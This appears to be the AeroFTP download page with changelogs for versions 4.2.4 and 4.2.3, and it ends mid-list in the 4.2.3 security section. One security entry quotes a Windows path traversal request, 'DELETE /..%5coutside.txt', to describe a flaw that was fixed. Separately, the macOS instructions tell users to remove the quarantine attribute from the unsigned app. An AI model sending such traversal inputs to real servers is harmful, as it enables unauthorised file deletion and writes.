Download
Available for Linux, Windows and macOS. Free and open source.
Download AeroFTP
Cross-platform desktop, open source
All Platforms
macOS 11 Big Sur or later. Not code-signed, see the note below.
macOS: the app is not signed with an Apple Developer ID. After copying AeroFTP to Applications, run sudo xattr -rd com.apple.quarantine /Applications/AeroFTP.app once. On macOS 14 and earlier you can instead right-click the app and choose Open: on macOS 15 Sequoia and later that route was removed, so open System Settings, Privacy and Security, and choose Open Anyway.
Releases
v4.2.4 Latest 3d ago · 676 · 20 Assets
[4.2.4] - 2026-10-20
Native Proton Drive, Headless Profiles, and Bulk Transfers
Proton Drive gains a native client with browser sign-in, encrypted vault sessions, verified transfers and storage quota. Saved profiles can be created and authorized from the GUI, CLI and MCP with the same connection options. Proton CLI compatibility mode groups suitable files into bounded bulk transfers across the CLI, GUI and compatible sync operations. This release also strengthens interrupted transfers, recursive operations, profile backups and archive extraction, and repairs desktop packaging and integration issues.
The complete record of this cycle, including fixes, validation and remaining follow-ups, is in the 4.2.4 release tracker.
Added
- Native Proton Drive. Connect through AeroFTP's own client with browser sign-in, encrypted vault sessions, file and folder operations, revisions, verified downloads, checksums and quota. New profiles choose native mode when available; existing profiles keep official CLI mode until explicitly changed. Small transfers use a single request, large transfers overlap blocks, and revision pages are prefetched (#1293, #1302).
- Bulk transfers in Proton CLI mode. Suitable files share bounded native invocations across the CLI, GUI and compatible sync operations, retaining per-file outcomes, cancellation and verified download publication. Existing resume, delta, checksum and error-correction requirements keep their established paths. MEGAcmd and Filen bulk remain unsupported; remaining wrapper performance work stays open in the release tracker (Requested 71, #1317).
- Headless profile authorization. CLI and MCP can authorize saved profiles through supported OAuth, GitHub Device Flow and GitHub App flows, refresh expired App sessions, and consume supported structured credentials without storing unused seeds. Pending authorization stays encrypted and bound to the intended profile and user (#1305).
- One connection manifest for GUI, CLI and MCP. Profile creation shares aliases, presets, defaults and public options, preserving existing FTP modes and explicit native/CLI Proton choices (#1304).
profile-add --proton-modeandproton sign-in,sign-outandstatusmake native Proton profiles usable headlessly (#1296). - Saved SITE templates. FTP and FTPS profiles can keep commands with text, number and secret slots and run them from the GUI, CLI and TUI. Secret slot values are never saved, and importing the glFTPd catalog preserves existing template names (@jnewing, #1109).
- AeroCloud from saved profiles. Choose a saved connection and the folder under it from a searchable list. Saved S3, B2, Azure, kDrive and OAuth profiles connect through the same profile loading path as the rest of the app (#1231).
- Incremental AeroCloud changes. Local watcher events sync the paths that changed rather than rescanning the remote tree. Providers can require a minimum interval between full scans, and unchanged KeepBoth conflicts no longer create a new conflict copy every cycle (#1283).
- Windows association choices. Setup and Settings independently control AeroFTP format associations and archive/Explorer integration. NSIS
/NOASSOCand MSI feature maintenance preserve disabled choices and other applications' registrations (@pasha-zzz, #454, #1209). - Linux tray and account details. Theme-aware tray icons, sync actions that follow AeroCloud state, saved-profile counts in the account chooser, collapsible AI model groups and a visible controller bar (#1210).
Fixed
- Cross-profile copies reuse saved sign-in and encryption settings. CLI, GUI and agent copies open profiles through their shared authentication path, keep overlay data encrypted on the remote, preserve empty directories and skip equal-size files whose destination is not older. A missing or unreadable source subtree fails the plan instead of reporting an incomplete copy as successful; setup errors and partially failed batches close the activity with the correct outcome. Profile credentials and overlay recovery retain their original account, and recursive plans omit directory symlinks (#1306, #1316).
- Recursive file removal uses the file operation.
rm -rremoves a file or symlink without treating it as a directory; remote-root refusal and guarded recursive directory deletion remain effective. Existing SFTP ancestors are accepted only when confirmed to be directories, including generic mkdir failures (#1316). - Resuming a download checks its source as well as its version. A leftover from another provider, endpoint, account or remote path cannot supply the start of a new download with matching size or timestamps. Old resume records restart safely, and a short or inconsistent HTTP 206 response cannot replace the destination with an incomplete file (#1224).
- Long filenames transfer again. Download and delta temporary names fit filesystem component limits, including segmented sidecars, instead of failing repeatedly with "File name too long" (#1267).
- Temporary files retain the right owner. Cancelled downloads release their claim promptly, segmented cleanup runs while its claim is still held, and another transfer's temporary cannot be removed during cleanup. Startup reclaims recognized abandoned scratch files while preserving active staging and open remote vaults (#1217, #1284).
- Interrupted multipart batches abort their remote uploads. File-scoped cleanup retains the original upload handle through completion and cancellation, including when a DAG task is destroyed (#1219).
- FTP batches wait for a real connection before taking a transfer slot, avoiding session/slot ordering stalls; checkout deadlines and cancellation are checked without depending on runner speed (#1221).
- Recursive walks refuse outside paths, cycles and duplicate entries. Destructive cleanup and dedupe retain authority over the requested or explicitly resolved root; a listing cannot authorize a different absolute root. ImageKit folders retain their own path instead of redirecting recursive operations to the account root (#1232, #1255).
- Archive extraction preserves destination boundaries. RAR5 hardlinks and file-copy references use an earlier regular member from private staging. ZIP, 7z, TAR, single-stream and RAR publication are anchored to the selected output directory, preventing an existing destination directory link from redirecting writes outside it (#1222).
- AeroCloud keeps events for overlapping pairs. One pair's full scan no longer clears pending changes or renames for another idle pair; acknowledgements survive staggered cycles. Complete scans also forget records of paths absent on both sides so recreating a deleted file syncs it instead of deleting it again (#1286).
- Profiles keep unique names and their own credentials. Creation, import, duplicate, rename and restore choose the first available numbered name. External exports select secrets by profile identity, and colliding target names receive separate entries instead of overwriting another connection (#1269, #1276).
- Headless credentials survive profile lifecycle operations. Durable OAuth configuration and GitHub token/PEM entries travel through duplication and encrypted backup/restore; deletion clears transient authorization and deadlines without copying pending attempts. Native Proton copy/import, refresh, sign-out and deletion retain the captured user and serialize session mutation across processes.
- SITE operations remain on the intended connection. Template rendering and sending share one active operation, bind to the opening/profile/account and backend connection generation, and reject a changed session. A busy status can be refreshed manually. A delayed Proton browser result cannot overwrite a different form or profile.
- WinSCP and PuTTY session names round-trip correctly. WinSCP preserves Unicode names and its UTF-8 BOM, while PuTTY exports use its native Windows-code-page escaping and keep colliding names separate (#1278, #1277).
- CLI profile selectors and machine output are consistent.
export --profilesaccepts index, case-insensitive name, ID or a unique substring and explains unmatched or ambiguous selectors.--machineand--format jsonreach import, export, keystore and native profile backups (#1275, #1272). - CLI fallback diagnostics explain serial transfers. FTP, SFTP, S3, B2, HTTP Range and
pgetreport safe reasons for declined parallel attempts while retaining progress, cancellation and structured JSON warnings (#1212, #1216). - Speed limits apply before ranged reads and to served and mounted files. Served HTTP files stream with Range support, FTP REST resumes and APPE appends correctly, and servers survive disconnects and SIGTERM without printing a supplied secret (#1295).
- Proton CLI transfers report quota and literal paths correctly. Full-drive failures do not launch a browser for every file, transfer errors retain the item's reason, glob characters stay literal, and sanitized downloaded names are restored to the requested name (#1298, #1303).
- Swift listings continue through short pages, including HTTP 204, rather than hiding entries above a server's page cap (#1213).
- AeroImage saves edited and cropped images in the chosen format, with exclusive per-save staging, a centered confirmation and refreshed local panels (@EhudKirsh, #1075).
- Encrypted overlays keep readable breadcrumbs and the correct root. Decrypted anchor labels retain the server path, and profiles with an empty Remote Path first open at the remote root (@EhudKirsh, #1077, #1211).
- Connected tools read the live session. Capabilities, keep-alive, terminal, Debug Panel and status bar no longer use the reset connection form; Quick Look in the right local panel previews that panel's selected file (#1251, #1228).
- Linux software-rendered windows stay opaque and visible. EGL probes the display GTK uses, with Wayland first. Explicit DMA-BUF overrides are preserved while the existing compatibility default remains unchanged (@coolfocks, #1249, #1240, #1242, #1254, #1258).
- AppImage updates replace the AppImage atomically, including with a symlinked temporary directory, rather than installing a Debian package or leaving the launch path empty (#1250, #1256).
- The snap starts with desktop portals again through
network-status. Its volumes section explains the manualmount-observeconnection instead of showing an unexplained empty list (#1262, #1263). - Interface and translation repairs. Vault Sync follows the selected theme; centered icons and Markdown table alignment render correctly; local timestamps keep their timezone; repair dry runs describe findings accurately. Vault labels, diacritics, Cyrillic Serbian, OAuth callback instructions and hardcoded English are corrected across the supported languages (#1230, #1233, #1235, #1238, #1239, #1268, #1273, #1280, #1287).
- Provider and mirror acceptance fixes. FTPS reports post-data 552 failures, OneDrive deletes do not retain stale IDs, Box and kDrive refuse ambiguous trash purges, Twake retry progress stays accurate, and Proton CLI sharing accepts leading-dash passwords. Mirror retains excluded, hidden and unfinished children with their ancestors (#1226, #1225).
Security
- Pre-tag commit audit: PASS. Archived cycle reviews and focused counterreviews verified profile/session ownership, transfer staging and cancellation, archive publication, SITE connection binding, and platform packaging. Confirmed findings were fixed before release, including scoped overlay recovery, native-session relocation, response bounds and directory-symlink planning; the combined bulk integration was counterreviewed. The completed local gate and focused delta checks were reused, with full CI green on both final PR heads. Remaining wrapper performance work is tracked separately (Requested 71).
- Vault keyring isolation. A first run in a different configuration folder cannot overwrite the keyring account of an existing vault. Claims are serialized across processes and the selected account is recorded with the vault (#1234).
- Windows temporary-file and share boundaries. Delta staging refuses reparse points before truncation, and local-folder shares refuse NTFS alternate-stream names without changing ordinary Unix colon filenames (#1220).
- Credential-safe diagnostics. Proton launcher failures discard dependency errors that can embed a one-time browser key. Dependency log ceilings remain enforced even with per-target
RUST_LOG, and SSH host-key refusals retain their identity, exit code and actionable guidance (#1259, #1271). - TLS dependency security patches. The shared rustls dependency is updated to 0.23.46, resolving four RustSec advisories without changing the rest of its locked dependency cohort (#1218).
Changed
- SFTP read-ahead shares a 64 MiB process budget and uses a separate channel; a larger SSH channel window supports delayed paths. Cancellation and connection-limit fallbacks preserve cleanup and correctness (#1252, #1260, #1261).
- Profile readiness follows the actual authentication source. Anonymous, key and device profiles remain usable; native Proton checks a user-scoped saved session, while externally managed CLI sessions stay unknown rather than falsely unsigned-in. MCP preserves the safe classification (#1299).
- MCP request handling and account writes are more robust. Debug requests fit the worker stack, and transactions acquire the account session before SQLite's write reservation to avoid lock-order failures (#1241, #1274).
- AeroSync journals describe recovery rather than completed history, separating planned dry-run copies from actual copies and retaining the executed request (#1257).
- Release validation refuses unreadable tool reports. AppStream 1.0/1.1, snap GPU/GUI/glibc/package checks, AppImage permissions, zsync pairs, DCO and development guards fail closed on malformed or failed output, with regression fixtures (#1265, #1264, #1266).
- Dependency and test maintenance. ZIP support uses zip 9 after the 8.x line was yanked; compatible dependency patches include DOMPurify, Vitest, PostCSS, react-window, react-virtuoso, serde_json, tokio-util and zstd. The final maintenance bundle updates jsdom, Vitest, Tokio, rustls-native-certs, arboard and zip together with their compatible lock resolution (#1314). Timing tests use deterministic clocks or structural assertions, CLI integration tests use isolated portable vaults, and live cleanup checks recognize every temporary family (#1214, #1236, #1253, #1270, #1279, #1285, #1289, #1291, #1292, #1294).
- Quieter startup and idempotent credential deletion. GUI startup filters D-Bus handshake chatter while preserving warnings, and deleting an absent credential leaves the vault file untouched (#1301).
- Documentation and internal cleanup. The provider catalog describes Proton's native and CLI modes, AeroAgent's roadmap reflects the delivered 1.7 capabilities, Linux troubleshooting matches current rendering behavior, and unused imports, components and props are removed (#1227, #1229, #1237, #1288, #1300, #1315).
Contributors
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" /> <img src="https://github.com/jnewing.png?size=48" width="48" height="48" alt="@jnewing" /> <img src="https://github.com/pasha-zzz.png?size=48" width="48" height="48" alt="@pasha-zzz" /> <img src="https://github.com/coolfocks.png?size=48" width="48" height="48" alt="@coolfocks" />
Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.2.4-1.x86_64.rpm - 167.4 MB · 6×
- AeroFTP-4.2.4-1.x86_64.rpm.sigstore.json - 10.1 KB · 2×
- AeroFTP-4.2.4-portable-windows-x64.zip - 104.6 MB · 18×
- AeroFTP-4.2.4-portable-windows-x64.zip.sigstore.json - 10.2 KB · 3×
- AeroFTP_4.2.4_aarch64.dmg - 97 MB · 74×
- AeroFTP_4.2.4_aarch64.dmg.sigstore.json - 10.2 KB · 4×
- AeroFTP_4.2.4_amd64.AppImage - 177.3 MB · 25×
- AeroFTP_4.2.4_amd64.AppImage.sigstore.json - 10.2 KB · 2×
- AeroFTP_4.2.4_amd64.AppImage.zsync - 310.6 KB · 10×
- AeroFTP_4.2.4_amd64.AppImage.zsync.sigstore.json - 10.2 KB · 2×
- AeroFTP_4.2.4_amd64.deb - 84.4 MB · 89×
- AeroFTP_4.2.4_amd64.deb.sigstore.json - 10.3 KB · 62×
- aeroftp_4.2.4_amd64.snap - 228.3 MB · 2×
- aeroftp_4.2.4_amd64.snap.sigstore.json - 10.1 KB · 1×
- AeroFTP_4.2.4_x64-setup.exe - 70.3 MB · 154×
- AeroFTP_4.2.4_x64-setup.exe.sigstore.json - 10 KB · 16×
- AeroFTP_4.2.4_x64.dmg - 101.7 MB · 61×
- AeroFTP_4.2.4_x64.dmg.sigstore.json - 10.3 KB · 3×
- AeroFTP_4.2.4_x64_en-US.msi - 101.1 MB · 121×
- AeroFTP_4.2.4_x64_en-US.msi.sigstore.json - 10.1 KB · 21×
v4.2.3 10d ago · 1,413 · 20 Assets
[4.2.3] - 2026-10-13
Checked Writes, Resumable Ranges, and SITE Commands
A repair release, one week after 4.2.2: 122 commits and 86 tracked changes. The thread running through it is data you could lose when something goes wrong half way. An operation that checks whether a file exists before writing now writes only when the server confirmed it is not there, a WebDAV replace keeps the old file until the new one is in place, crypt init writes nothing until the Emergency Kit is in your hands, and a large download that loses a connection resumes the range it was reading instead of starting over. Around that: SITE commands for FTP and FTPS, a local folder usable wherever the CLI takes a URL, a transfer speed that shows the current speed, and AeroAgent 1.7, which can drive the visible app when you ask it to.
Every change listed here is tracked, with its commit and its discussion, in the release tracker: AeroFTP 4.2.3, known issues, patches and updates.
Thank you to everyone who uses AeroFTP, at home or at work, and especially to those who write back when something does not behave. A large part of this release started from a report: benchmark runs from Western Europe that showed MEGA and Proton transfers with no progress, a request for raw SITE commands, a crash report about large uploads that led to the progress and speed rework, and two interface proposals now in the app. The people behind them are listed at the end.
Before the tag, an independent pre-release review read how this cycle's changes fit together on main, in three areas: writes that can lose data, the transfer engine and its retries, and the security surface, the latter checked against the security advisories rclone published on October 9. A second pass read the fixes that landed after it. Together they found three blockers, all fixed below before the tag; the non-blocking findings are recorded in the tracker.
What changes for you
The short version, split by where you meet it. Everything in this list appears again further down with the detail.
In the app
- A failed check no longer leads to a write. Creating a crypt vault, unlocking AeroCrypt, touching a file, and uploading with no-clobber, immutable or "skip existing" write only when the server answered that the item is not there. If the check itself fails (timeout, permission, server error), the operation stops instead of writing over what might be there.
- Replacing a file on WebDAV keeps the old one until the new one is in place. Apache, rclone serve and Nextcloud start an overwriting MOVE by deleting the destination, so a failure in between lost the file. The old file is now set aside, the new one moved in, and only then the old one deleted.
- Large downloads survive a stalled read. When one range of a segmented download stalls or loses its connection, that range resumes from where it stopped instead of the whole file starting again, on SFTP, FTP, S3 and every HTTP provider with ranged reads.
- The speed you see is the current one. Speed, graph and time remaining follow the last 3 seconds instead of the average since the start, the graph covers the whole transfer and keeps a stall as a dip, and progress moves while the file is being sent on S3, Azure, Dropbox, Box, Google Drive, B2, Swift, Jottacloud, Internxt, OpenDrive, MEGA and Proton.
- SITE commands for FTP and FTPS, from a new Connection menu, sent through the connection already open.
- Resizable Local and Remote panels, and a day and night appearance on a schedule. Drag or use the keyboard on the divider, and the split is kept across restarts. Appearance can follow the system or switch at the times you set.
- AeroAgent 1.7. It can operate the visible app when you ask it to (select, navigate, connect a saved profile, change settings), each step approved, with a cursor on screen and a badge to slow it down, pause or stop it. It also runs the community benchmark inside the app, gains the remote tools the MCP server already had, works with Anthropic again, and shows exact token counts instead of estimated costs.
- The Permissions dialog changes a file's mode again on FTP, FTPS and SFTP. Every Apply had failed with "Not connected to server" since v3.1.5.
- Encrypted folders behave. The unlock dialogs open the overlay at the folder you opened them on, an Overlays Path whose folder name is itself encrypted keeps the Crypt toggle, a default-salt AeroCrypt vault reopens from its password alone, and AeroCrypt slot changes work on eight more backends once you consent to a non-atomic replace.
- Providers that misbehaved: Azure accounts with a hierarchical namespace list folders as folders, B2 retries a busy storage pod and renews an expired token during a long copy, Nextcloud retries a refused chunk instead of failing the file, ownCloud reports a missing path as missing, Box waits for a commit answered 202, MEGA S4 accepts the new
megas4.comdomain, Internxt explains an unfinished account setup, and the Filen Desktop S3 preset lets you pick the folder to open as its bucket. - Saved servers: opening Edit right after Save shows what you saved, Quick Connect keeps your edits, drafts and imported OAuth credentials, and Lock Now confirms that the lock happened.
- AeroImage crops what is on screen after a turn or a mirror, with undo and redo, and its preview gallery follows touchpad swipe and pinch.
- The AppImage starts on systems without WebKitGTK, using its bundled libraries only there.
- Translations: 165 strings with letters from another alphabet, 892 strings in Armenian, Khmer, Georgian and Macedonian that were not real words, translations left on the previous English in 46 languages, and seven Greek sentences whose semicolon reads as a question mark in Greek are corrected.
- A folder of this machine works wherever the CLI takes a URL.
aeroftp-cli serve webdav /srv/shareshares it with no other server, andls,get,put,sync,checkandcrypttake/abs/path,./rel/pathorfile:///abs/path, inside a path jail. The folder hashes in place, reportsdf, copies inside itself withcpand resumes an interrupted transfer. aeroftp-cli sitesends a SITE command through the open FTP or FTPS session, also from the TUI.hashsumno longer copies the file to the temporary folder. It hashes the bytes as they arrive; a 25.2 GB file used to fill a 27 GB tmpfs.serve sftpstores what it receives. It acknowledged every upload and discarded the data, 4.2.2 included.- A server that accepts the connection and never answers is a timeout: exit 8 instead of 1 or 4, retried as a network error, with a hint that no longer names a
--timeoutflagls,getandstatrefuse. crypt initwrites nothing until the Emergency Kit has been handed over, so a corrected command no longer exits 9 asking for--force.profilesshows the number--profileopens, also with a sort or a--groupfilter.-vvno longer prints the FTP password.- An SFTP path that cannot be read is reported as unreadable (exit 3) instead of missing (exit 2), so
rm --force,--immutableand the speed test refuse it instead of acting on it. - The CLI agent counts tokens:
--cost-limitbecomes--token-limitand/costbecomes/usage. - On WebDAV,
editandremote_editneed--allow-non-atomic, and so do AeroCrypt slot changes on the backends that cannot replace a file atomically.
Added
- SITE commands for FTP and FTPS. A Connection menu entry,
aeroftp-cli siteand the TUI send a SITE command through the open connection and show the whole reply. A command whose outcome is unknown is never sent again, and its arguments never reach the logs; the protocol feature matrix lists it (@jnewing, #1109, #1143, #1146). - A local folder as a remote in the CLI. Wherever the CLI takes a URL it takes a folder of this machine, as
/abs/path,./rel/pathorfile:///abs/path, andserve webdav /srv/shareshares one with no external server. The folder is the root of a path jail: nothing outside it can be read or written, and a served client cannot reach outside it (#1123). The folder computes md5, sha1, sha256, sha512 and blake3 in place, sohashsum,check --checksumandsync --checksumneed no download, reports its filesystem todf, copies inside itself withcp, and resumes an interrupted transfer from the bytes already held (#1126). - AeroAgent 1.7 can operate the visible app. Through stable selectors and bounded state it selects, navigates and refreshes with the same handlers as the interface (#1097, #1098), connects a saved profile by an opaque identity without reading its credentials (#1099), changes supported general and AI settings through approved commits that keep saved API keys and your unsaved drafts (#1107), and opens or closes the AeroTools workspace and its panels (#1108). Approvals are native and bound to the session, snapshots are redacted, control follows the calling session so two agents with the same name cannot act in each other's lease (#1139), a visible cursor shows each action and a badge lets you change the speed, pause, resume or stop (#1141), and Lock Now interrupts it (#1117).
- AeroAgent runs the community benchmark in the app, with progress, Stop and the report, and gains 18 remote tools the MCP server already had, with tests that keep every MCP tool reachable from AeroAgent or declined with a reason (#1130). The benchmark runs from the library the CLI and AeroAgent share, and its JSON report is anonymized on every exit (#1128).
- Resizable Local and Remote panels. The divider between connected panels can be dragged or moved from the keyboard, and the split is kept across restarts (@Omkar-Wagholikar, #1105, #1118).
- Scheduled day and night appearance. Appearance can be manual, follow the system, or switch at local times you choose, overnight schedules included, each with its own palette (@Omkar-Wagholikar, #1105, #1116).
- The Filen Desktop S3 preset lets you pick the top-level Filen folder to open as its bucket, and the status bar says where the account total lives on the Filen Desktop presets (@EhudKirsh, #958, #1121).
- MEGA S4 on
megas4.com. Profiles on the new domain are recognized as S4, the preset lists its 14 published regions, and saved profiles ons4.mega.iokeep working unchanged (#1191). - CLI and GUI share profile column and protocol-breakdown choices. My Servers has a breakdown checkbox,
profiles --breakdown=falseturns it off, the preferences reload after unlock or on focus, and the default JSON output keeps its array shape (#1084).
Fixed
- Operations that check before writing write only when the check said the item is not there.
crypt init, AeroCrypt unlock,touch(CLI, TUI, MCP and AeroAgent), no-clobber and immutable uploads and folder upload with skip treated a failed check (a timeout, a permission error, a server error) like an absent file and went on to write, which could overwrite a vault's config and orphan every encrypted file. A failed check now stops the operation (#1192). - A WebDAV replace sets the old file aside, moves the new one in and only then deletes the old one, instead of one overwriting MOVE that Apache, rclone serve and Nextcloud start by deleting. On WebDAV
editandremote_editneed--allow-non-atomic, and a missing AeroCrypt marker can be rebuilt on seven more backends (#1154). - AeroCrypt slot changes (
migrate-v4,add-slot,remove-slot,rotate-slot) run again on WebDAV, MEGA, Filen, FileLu, Dropbox, Koofr, Drime and kDrive, only with explicit consent (--allow-non-atomicin the CLI, a consent box in the slots dialog). A revocation deletes every leftover copy of the old marker or fails naming it, and the remove-factor note says what a revocation does not protect (#1180). crypt initwrites nothing until the Emergency Kit has been handed over. A run without--emergency-kit, with a kit path it cannot write, or with a "no" at the prompt left a marker, a keystore config or a keyfile behind, so the corrected command exited 9 asking for--force(#1156).- The AeroCrypt and rclone crypt unlock dialogs open the overlay at the folder they were opened on instead of the server root, so ad-hoc Open and Create work outside the root again, and an ad-hoc Open of a default-salt vault reopens it from its password alone, in memory, without writing to the remote (#1162). A saved AeroCrypt profile with a header whose marker and keystore copy are both gone reopens from its password and rebuilds the marker, and the rebuild is refused unless names in the folder decrypt and nothing could be overwritten (@EhudKirsh, #276, #347, #1120).
- An Overlays Path whose own folder name is ciphertext keeps the Crypt toggle and opens its subfolders. The name was decrypted on the way back, so the path never matched and subfolders answered Path not found or 400 (@EhudKirsh, #1077, #1148).
- A long segmented download no longer restarts from zero when one read stalls or a connection drops: the failed range resumes from where it stopped, on SFTP, FTP, S3 and every HTTP provider with ranged reads (#1190).
- A segmented download finishes when its own file already holds the only free transfer slot. With several large files at the maximum parallel setting, or with the endpoint or disk slot cap set to one, that download asked for a second slot and waited forever. A sync into a mounted subfolder on another disk now reserves that disk's slot too (#1200, #1201).
- A batch that mixes small and large files no longer stalls for good when the transfer limits are lowered. A small file took its server session and then a transfer slot, a large file did it the other way round, so a small and a large file could each wait for what the other held. Both now take them in the same order; this was already possible in 4.2.2 (#1198).
- Large transfers through an AeroCrypt or compression overlay, a remote AeroVault or a Proton Drive upload no longer pass through the temporary folder. On many Linux systems that folder lives in RAM, so a large file could fill memory and fail. They now use AeroFTP's on-disk scratch folder, and a transfer that cannot fit stops at once and says how much space it needs (#1199, #1201).
- The transfer speed is the speed of the last 3 seconds instead of the average since the start, so the number, the graph and the time remaining follow a slowdown or a recovery; a resumed download no longer opens at several GB/s, and fast archive operations show a speed (#1150). The progress card's graph covers the whole transfer by bytes and keeps a stall as a dip, every live speed falls while no progress arrives, the percentage sits left of the title, and the lock and maximize buttons that did nothing are gone (maximize is now a queue toggle) (@eagle-te, #658, #1161).
- Progress keeps moving on slow transfers. A delta upload reports inside each block it sends instead of once per percent after each 2 MiB block, and AeroVault add, the AeroShare send dialog and AeroAgent's tree copy no longer wait a whole percent or five files (@eagle-te, #658, #1157).
- Upload progress moves while the file is being sent on S3, Azure, Dropbox, Box, Google Drive, B2, Swift, Jottacloud, Internxt and OpenDrive, also for uploads sent in parts, and reaches 100 only after the server accepts the upload (@EhudKirsh, #368, #1122).
- MEGAcmd and Proton transfers. MEGAcmd uploads show progress while sending, and MEGAcmd transfers over a minute no longer fail with Timeout (#1124). MEGAcmd downloads follow mega-get's own progress from zero of the listed size, and MEGA and Proton transfers no longer open at the "done" state, which read as finished even when they then failed (@EhudKirsh, #368, #1124, #1149).
hashsumon a file without a usable server digest no longer downloads the whole object into the temporary folder. It hashes the bytes as they arrive, from 8 MiB windows read in order, a stalled window resumed from where it stopped; a 25.2 GB file filled a 27 GB tmpfs on the #658 re-test.dedupekeeps a first-window timeout a timeout instead of turning it into a 500 MB size error (#1195).- An HTTP server that accepts the connection and never answers is reported as a timeout on every HTTP provider. The CLI exits 8 instead of 1 or 4, transfers retry it as a network error, the connect hint no longer names a
--timeoutflag thatls,getandstatrefuse, and "Connection failed" is printed once (#1164). - Azure accounts with a hierarchical namespace list directories as directories, instead of showing an empty folder as a zero-byte file or a full one twice; files sharing a folder's name stay separate (#1188).
- B2 uploads retry a busy or refused storage pod on a fresh upload URL, honoring Retry-After, without ever posting a small file twice (#1181). B2 renames over 5 GB and large uploads renew an expired token at each step and cancel the large file a failure leaves, instead of retrying the whole copy and leaving an unfinished large file billed on the bucket (#1155).
- Nextcloud uploads retry a refused chunk in place instead of failing the whole file, and a batch with one session and one chunk credit no longer stalls (#1182).
- On ownCloud a path that does not exist is reported as missing, instead of appearing as an empty file or folder when the server answers with a malformed listing (#1183).
- A Box upload sent as an upload session is reported done only once Box has created the file: a commit answered 202 Accepted is sent again after Retry-After instead of being taken as success (#1127).
- An Internxt login refused because the account setup is not finished says so and points to the emailed setup link, instead of a generic refusal (#1184).
- Filen Desktop S3 no longer writes a directory marker, so a new folder is a real folder instead of a zero-byte file followed by a 500 (#1096). Filen Desktop benchmarks keep the write-back wait out of the download time and say they measure the local bridge, not Filen (@EhudKirsh, #368, #1119).
- Benchmarks measure Koofr downloads again (payloads named
.dat), and MEGAcmd no longer leaves every run in the rubbish bin (#1083). - An SFTP folder that cannot be read, or a path behind a folder that cannot be traversed, is reported as unreadable instead of missing.
rm -r --forceno longer reports it deleted,--immutable,rm --forcepreviews and the speed test refuse it instead of acting on it, andls,statandgetexit 3 instead of 2 (#1131, #1138). - The Permissions dialog changes a file's mode again on FTP, FTPS and SFTP, only on the connection it was opened on. Every Apply had failed with "Not connected to server" since v3.1.5 (#1144).
- Files uploaded through
aeroftp-cli serve sftpare stored. Writes were acknowledged and thrown away on every backend, 4.2.2 included, and the OpenSSH client no longer hangs at the end of a session (#1125). aeroftp-cli serve webdavanswers 404 to a PROPFIND on a missing path instead of describing it as an empty folder, so its clients (includingaeroftp-cli statandcrypt init --with-header) no longer see every missing file as an existing directory (#1158).serveprints a generated login even under--quiet: it printed none, so nobody could log in. The CLI guide now matches the CLI onhashsum -aand onserverefusing a non-loopback address without--allow-remote-bind(#1133).aeroftp-cli sync <folder> <local> <remote>with a folder as the first argument keeps the third one instead of syncing folder to folder (#1123).aeroftp-cli profilesshows the number--profileopens even with a sort or a--groupfilter, where a number read from a sorted table could open another server, and an interactive reorder no longer overwrites one made by another session (#1145).- Editing a saved profile and opening Edit again right after Save shows the saved values, Cancel Editing closes its tab, and a profile save stays in the account it was read from when the account is switched meanwhile (#1134).
- Quick Connect saves icon and path removals, keeps tab drafts and loads imported OAuth credentials consistently; 4shared and Blomp share the profile layout, with field-copy controls and a protected optional Blomp endpoint (@EhudKirsh, #1100, #1115).
- Lock Now confirms that the account and vault locks succeeded, interrupts GUI agent control and keeps the failure visible when a lock fails (#1117).
- AeroAgent works with Anthropic again. Every request carried an API version header Anthropic rejects, so chat, the model list and the Test button failed with HTTP 400, and the Test button sent the key as a Bearer token. The current Claude models use the request shape they require, and the model list has no retired model (#1129).
- AeroAgent runs the benchmark and the speed test alone instead of beside a transfer that skewed them, and the scheduler no longer runs a plan step before the step it explicitly waits for (#1132).
- Transfer capabilities report atomic rename from what each provider established: SFTP from the server's
posix-rename@openssh.com, Google Drive from its revision upload, WebDAV not claimed (its MOVE deletes the destination first), overlays from the provider under them. Agents were told SFTP had none (#1151). - The canary trial (Canary Mode on the AeroSync Plan tab) is available in builds without aerorsync too, where a leftover cfg had dropped it (#1159).
- AeroImage crops the picture as shown after a turn or a mirror, applies the crop at once with undo and redo, and no longer fails with "Crop area exceeds image bounds"; the preview gallery pages from any entry point, goes round, and follows touchpad swipe and pinch (#1147).
- The AppImage starts on systems without WebKitGTK (the AppImageHub test system among them) by using its bundled libraries only there; where WebKitGTK is installed nothing changes, and Arch without WebKitGTK renders without the EGL error of #90 (@Graninius, #90, #1135).
- Hash Forge's Argon2id starts from the AeroVault and AeroCrypt profile (128 MiB, 4 iterations, 4 lanes, 32-byte output) instead of the smaller RFC 9106 option; the salt stays a fresh 16-byte value (@EhudKirsh, #347, #1153).
- Used-storage walks count bytes without keeping every file in memory, which lowers peak memory on large trees, and SFTP listing workers open their first connection before listing, so a pooled scan no longer starts with false "reconnecting" warnings (#1082).
- Translations. 165 strings in eleven languages no longer contain letters from other alphabets, and a CI check stops them from coming back (#1193). 892 strings in Armenian, Khmer, Georgian and Macedonian that were not real words, meant something else or were out of date are retranslated, and the privacy note no longer says data is collected (#1194). Translations that still showed the previous English follow the current wording in 46 languages, and CI fails if a translation matches an old English sentence (#1196). Seven Greek sentences used a semicolon, which Greek reads as a question mark, where the ano teleia belongs.
Security
- On Windows, a client of
aeroftp-cli serveon a local folder can no longer delete or create files outside that folder. A path segment carrying..\, a drive or a UNC prefix (DELETE /..%5coutside.txt) was read as path syntax when joined to the folder, over WebDAV, FTP and SFTP alike. Introduced earlier in this cycle by the local-folder support and found by the pre-release review, so no released version is affected (#1197). aeroftp-cli -vv(orRUST_LOG=trace) no longer prints the FTP login password: the FTP library's wire trace is held at INFO in the CLI log (#1142).reconcileandsync_doctorrefuse alocal_dirunder~/.ssh(#1128).- Dependency updates: russh 0.64.1 with its client-side rekey and authentication fixes, tokio, hyper, libc, toml, vite and jsdom (#1177);
